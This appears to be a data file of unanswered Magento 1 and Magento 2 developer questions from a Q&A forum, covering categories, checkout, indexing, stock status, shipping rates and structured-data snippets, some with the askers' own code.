texts: How can i remove Multiple Assigned Categories of products remove from selected Category

texts: I need to remove Multiple Assigned Categories of products remove from selected Category. Eg. Product1 assigned to cat1, cat2, cat3. I need my product remove from the category cat3. How can I do it by CSV or MYSQL


texts:
My user login doesn't work. If I create an account, that works, but if I log off and try to log in again, no dice. I'm running this locally on the mac localhost web server. Does this have something to do with my key? If so, where do I put that?

v 2.0.13

Thanks.


texts: How to add custom attribute in filter in Magento2?

texts:
I wish to add custom product attribute "ABC" as a filter on the storefront, If the user selects that attribute value, the Corresponding result should become by using elastic search 6.5+.

Can anyone guide me on this?

Thanks


texts: getProductCount() function returning similar result for every category

texts:
Hello I am trying to get category name and category product count using  category Id . In my results I am getting exact category name but product count is duplicating.

foreach ($category as $categoryId) {
    if (!is_null($categoryId)) {
        $categoryLoadData = Mage::getSingleton('catalog/category')->load($categoryId);
        $categoryArray[$count]['id'] = $categoryId;
        $categoryArray[$count]['name'] = $categoryLoadData->getName();
        $categoryArray[$count]['productCount'] = $categoryLoadData->getProductCount();
        Mage::log($categoryId.' - '.$categoryLoadData->getName().' - '.$categoryLoadData->getProductCount(),null,'final.log'
                                . '');
        $count++;
      }
 }
    Mage::log($categoryArray,null,'catrblock.log');

I got result in final.log

14 - category_name_1 - 74
7 - category_name_2 - 74

Result I got in catrblock.log

Array
(
 [0] => Array
 (
     [id] => 14
     [name] => category_name_1
     [productCount] => 74
 )

 [1] => Array
 (
     [id] => 7
     [name] => category_name_2
     [productCount] => 74
 )

)


texts: Magento 2 : IE 11 Error "Expected identifier" on checkout page

texts:
On the Magento 2.2.6 checkout page, there is a javascript error in IE 11. The error is coming from the default.js file.

Note : its working fine on all other browsers except IE11.

JavaScript Console: showing the error "Expected identifier"


texts: Magento2.3.4 - Create pop up admin form like add/edit customer address in admin

texts:
I'm using Magento2.3.4 and I want to show a grid in tab content , and  then I can edit the record with pop up form just like the customer edit address in admin

Here is the screen shot:

How can I achieve this?


texts: want to add configurable swatches on home page category

texts:
I have created a costume list page namely home_list.phtml and call it on cms home page all work are fine but color configurable swatches are not showing on home_list.phtml home page. what should I do.

thank you


texts: Links are not correct after loading header & footer outside Magento

texts:
I have an external webpage say "test.php" and I have loaded the site header & footer block from the Magento framework to use as a header & footer in this external page. Everything is working fine except url links. This is what I have done so far:

include 'app/Mage.php';
Mage::app();

umask(0);
Mage::app()->loadArea('frontend');
Mage::getSingleton('core/session', array('name' => 'frontend'));
$layout = Mage::getSingleton('core/layout');

//load default xml layout handle and generate blocks
$layout->getUpdate()->load('default');
$layout->generateXml()->generateBlocks();

//load header
$headBlock = $layout->getBlock('head');
$headerBlock = $layout->getBlock('header');
echo $headBlock->toHtml() . $headerBlock->toHtml();

// load footer
$footerBlock = $layout->getBlock('footer');
echo $footerBlock->toHtml();

The problem is url link generated at this page includes test.php in its base url.

Say I have a link "About Us". The url generated for this link in magento is "http://localhost/myapp/index.php/about.html" But url generated for the same link on test.php is "http://localhost/myapp/test.php/about.html".

How this can be resolved?

OR

Is there any other way to load theme's header and footer?


texts:
I am having trouble with a task of setting up two Magento installations on the the same server, the goal is to have two stores both running seperate versions of Magento.

I am in Apache 2.4 and the first Magento instance I installed was the newer version. Then I created a virtual host file and edited my DNS records so as to host the second version of Magento on a subdomain, old.example.com

My problem is that whenever I go to old.example.com it redirects me to example.com and the newer Magento installation, meaning that I can't install the second version or even access it properly.

I believe the problem may have something to do with this:

$mageRunCode = isset($_SERVER['MAGE_RUN_CODE']) ? $_SERVER['MAGE_RUN_CODE'] : '';
/* Run store or run website */
$mageRunType = isset($_SERVER['MAGE_RUN_TYPE']) ? $_SERVER['MAGE_RUN_TYPE'] : 'store';

Mage::run($mageRunCode, $mageRunType);

My understanding of the $_SERVER variable leads me to believe that the first Magento installation attached a property to the server environment that means it will always run instead of the second version. Is this correct? How can I stop it from doing that? Or how do I alter this code for the second version so that it can run too? Or am I totally offbase here?


texts: Magento search not returning results for search words men and women, but returns result for male female

texts: If I write men or women in the search bar, no items are returned in the search result. However, if I write male or female, then the search returns the items correctly. Is there any way to make Magento return those items for those search words?


texts: How to add new column in custom table and also in admin listing page?

texts:
I want to add a new column in my existing custom admin grid:

My columns in admin grid are:

also I want this column to appear in edit listing page.


texts:
Hi I am looking to add 2 different shipping methods

Normal Delivery

UK - £10+ - Free
UK - Less than £10 - £2.95

Recorded Delivery

UK - 1KG+ - £5
UK - Less than 1KG - £3.95

I can see Magento has table rates built in eg weight vs destination & price vs destination

However from what I can see I can only have 1 and not both. How would it be possible to have both for different delivery methods?


texts: After cash on delivery redirect a page in magento 2

texts:
I want to redirect set Cash On Delivery Payment method so how can it be done?

  Means After cash on delivery redirect a page in Magento 2


texts: Adding Child Data to the Product Flat Index

texts:
Summary: Is there any action required to pull data from "child products" into configurables on flat tables other than setting global/catalog/product/flat/add_child_data to 1?

App: Magento 1.14.2.4
Action: Reindexing Catalog Product Flat table with n98-Magerun

More detail follows...
In order to pull a configurable products associated simple data into the flat table, I have set the config value of global/catalog/product/flat/add_child_data to '1'.
This configuration value is read by Mage_Catalog_Helper_Product_Flat::isAddChildData(), which itself is used by Enterprise_Catalog_Model_Index_Action_Product_Flat_Refresh::_createTemporaryFlatTable, Enterprise_Catalog_Helper_Product::getFlatColumnsOldDefinition and others. These classes use the predicate to properly generate the structure for the resulting flat table, and the temporary indexing tables.
The problem I'm having is that the Product Refresh Model's _fillTemporaryFlatTable method attempts to insert into the temp table (which now includes child_id) without providing data for that column. This occurs even though that column has a FK constraint on the catalog_product_entity table. Needless to say, the attempted insert fails with a scary-looking SQLSTATE[23000]: Integrity constraint violation message. This is occurring during an n98-Magerun index:reindex catalog_product_flat run.
So far, I've searched DDG and Google for both (and variations on)

"add_child_data"

and

"isaddchilddata" magento

but none of those searches yielded useful results. The closest to useful result I found was this blog post by the Excellence Magento Blog. The following excerpt summarizes my goal:

‘global/catalog/product/flat/add_child_data’ : if this is set to 1, two column are added ‘is_child’ and ‘child_id’. Both these store relationship between configuration, grouped, bundled and its associated simply product.

Here's what I've found so far:

When enabling add_child_data, child_id and is_child are added to the flat columns used in the temporary and resultant flat tables
However, adding child data does not appear to affect the select statement that reads from various product attribute tables
This results in a foreign key constraint violation where the child_id column isn't present in the data which would be "inserted from select"

I'm primarily looking at Enterprise_Catalog_Model_Index_Action_Product_Flat_Refresh::_fillTemporaryFlatTable right now, trying to figure out where in that method (or a previous one, maybe?) the child_id data would be added to the select.
Thanks a bunch for reading. Hope this makes some sort of sense!


texts: How to add a global text attribute to all products

texts:
We are using Magento Community Edition 1.9, and we struggle a little bit to make up a editable text area attribute for all our products.
Ex: we would like to setup a text for our return policy that customers could see on all of our product pages, that we could easily edit later in the future.

The issue might come from configurable products, since only attribute with scope "Global", input type "Dropdown" and Use To Create Configurable Product "Yes" are available. However, putting a text area would not qualify for that.


texts: Magento 2 : How to Merge Payment and Shipping Method steps in Checkout

texts: Give me useful suggestion, How to merge payment and shipping method steps in checkout.


texts:
One of the extension from Amasty was already installed in my website. I've installed another extension OPC and now I'm getting the error Mage registry key "_singleton/ambase/feed" already exists.

I've tried deleting cache folders, disabling compiler by command line

>php -f shell/compiler.php disable
>php -f shell/compiler.php clear

Still, I'm not able to login to Admin panel.
I've searched for Mage::register('_singleton/amba in my project folder but I don't find this code present in any of the folders.

Is that possible I can update this registry variable in database somehow?


texts: Why have my configurables stock status Out of Stock

texts:
All I found so far is from the User Guide in Step 4 under 2.:

  The Quantity is determined by the product variations, so you can leave it blank for now.

  The Stock Status of a configurable product is determined by each associated configuration. Because the product was saved without entering a quantity, the Stock Status is now set to “Out of Stock.”

According to this the Quantity is determined by the product variations but how about the Stock Status? If you have variations that are "In Stock" shouldn't be the configurable "In Stock" too?

My background:
Our products are created via rest api like this:

All simples
The configurables with the simple ids that belong to them in configurable_product_links

In our case all configurables are set to "Out of Stock". Even when I reindex the Stock Status is not getting updated. Is this expected behavior?

I've already tried:

Clearing cache
Reindexing

Here an example json we post to create a configurable:

{
  "product": {
    "typeId": "configurable",
    "sku": "sku",
    "status": 1,
    "attributeSetId": 44,
    "name": "Configurable product name",
    "extensionAttributes": {
      "configurable_product_options": [
        {
          "attribute_id": 861,
          "label": "Some Label",
          "values": [
            {
              "value_index": 15929
            },
            {
              "value_index": 15945
            },
            {
              "value_index": 15967
            }
          ]
        }
      ],
      "configurable_product_links": [
        18449,
        18450,
        18451
      ],
      "category_links": [
        {
          "position": 0,
          "category_id": 899
        }
      ]
    },
    "customAttributes": [
      {
        "attributeCode": "description",
        "value": "Our description"
      }
    ]
  }
}


texts: How to clear item in cart in frontend web page programmatically?

texts: Using magento 2.2, I need to remove all items in current cart while going to other root category on my front page. I want some advice for coding this event.


texts:
I created a preference, if I try to exit the extended class nothing happens. But if I try it with the following code:
<?php

require_once 'app/bootstrap.php';

$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $_SERVER);

$sample = $bootstrap->getObjectManager()->create('MyParcelNL\Sdk\src\Helper\MyParcelCollection');

\Zend_Debug::dump(get_class($sample));

The code is exited??? Anybody an idea why it does not work when using the extended class via the backend in Magento?


texts: Help with adding a custom option type value field

texts:
I'm extending the catalog_product_option_type_value database. I created my own table, my_catalog_product_option_type_value and it has a reference to the option_type_id. I have that working, and my class working but I added a table column to the custom options grid and I can't figure out how to get my custom field value.

When I click the 'Save and Continue Button', I want to be able to get the ID of the newly created or existing option_type_id and then use that id and 'My Value' to insert or update a record into my my_catalog_product_option_type_value table. I created an observer that picks up the catalog_product_prepare_save event. That is working but it only returns a product and it's options. I can't get my value. I found this code in the ProductController class:

if (isset($productData['options']) && !$product->getOptionsReadonly()) {
        $product->setProductOptions($productData['options']);
    }

So, I though i'd be able to do something like

$productData['options']['my_value']

but that doesn't work because the post data is [options][id][values][id][my_value]. I don't know how i'd get the id of these options. So, I'm a little stuck and hoping someone can point me in the right direction


texts:
I have the following code, which I have appended to the opengraph/general.phtml file in Magento 2.

I am hoping this will add the rich snippet data required by Google, but I am receiving an error (blank page).

Existing Code of opengraph/general.phtml

    <?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

// @codingStandardsIgnoreFile

/** @var $block \Magento\Catalog\Block\Product\View */
?>

<meta property="og:type" content="product" />
<meta property="og:title" content="<?= $block->escapeHtmlAttr($block->stripTags($block->getProduct()->getName())) ?>" />
<meta property="og:image" content="<?= $block->escapeUrl($block->getImage($block->getProduct(), 'product_base_image')->getImageUrl()) ?>" />
<meta property="og:description" content="<?= $block->escapeHtmlAttr($block->stripTags($block->getProduct()->getShortDescription())) ?>" />
<meta property="og:url" content="<?= $block->escapeUrl($block->getProduct()->getProductUrl()) ?>" />
<?php if ($priceAmount = $block->getProduct()->getFinalPrice()):?>
    <meta property="product:price:amount" content="<?= /* @escapeNotVerified */ $priceAmount ?>"/>
    <?= $block->getChildHtml('meta.currency') ?>
<?php endif;?>

<?php /** Rich Snippet Code */ ?>

    <?php
$_product = $this->getProduct();
$_brand = $this->getBrand($_product);
$_sku = $this->getSku($_product);
?>

<script type="application/ld+json">
    {
        "@context": "https://schema.org/",
        "@type": "Product",
        "name": "<?php /* @escapeNotVerified */ echo $block->escapeQuote($block->stripTags($_product->getName())); ?>",
        "image": "<?php /* @escapeNotVerified */ echo $block->stripTags($block->getImage($_product, 'product_base_image')->getImageUrl()); ?>",
        "description": "<?php /* @escapeNotVerified */ echo $block->escapeQuote($block->stripTags($block->getDescription($_product))); ?>",
<?php if (strlen(trim($_brand))): ?>
        "brand": {
            "@type": "Thing",
            "name": "<?php echo $block->stripTags($_brand); ?>"
        },
<?php endif; ?>
        "offers": {
            "@type": "Offer",
            "priceCurrency": "<?php echo $block->getCurrencyCode() ?>",
            "url": "<?php echo $block->stripTags($block->getCurrentUrl($_product)); ?>",
<?php if ($_product->isAvailable()): ?>
            "availability": "https://schema.org/InStock",
 <?php else : ?>
            "availability": "https://schema.org/OutOfStock",
<?php endif; ?>
            "price": "<?php echo $this->getPrice(); ?>",
            "priceValidUntil": "<?php echo $_product->getSpecialToDate(); ?>"
        }
    }
</script>

Can anyone please advise a solution?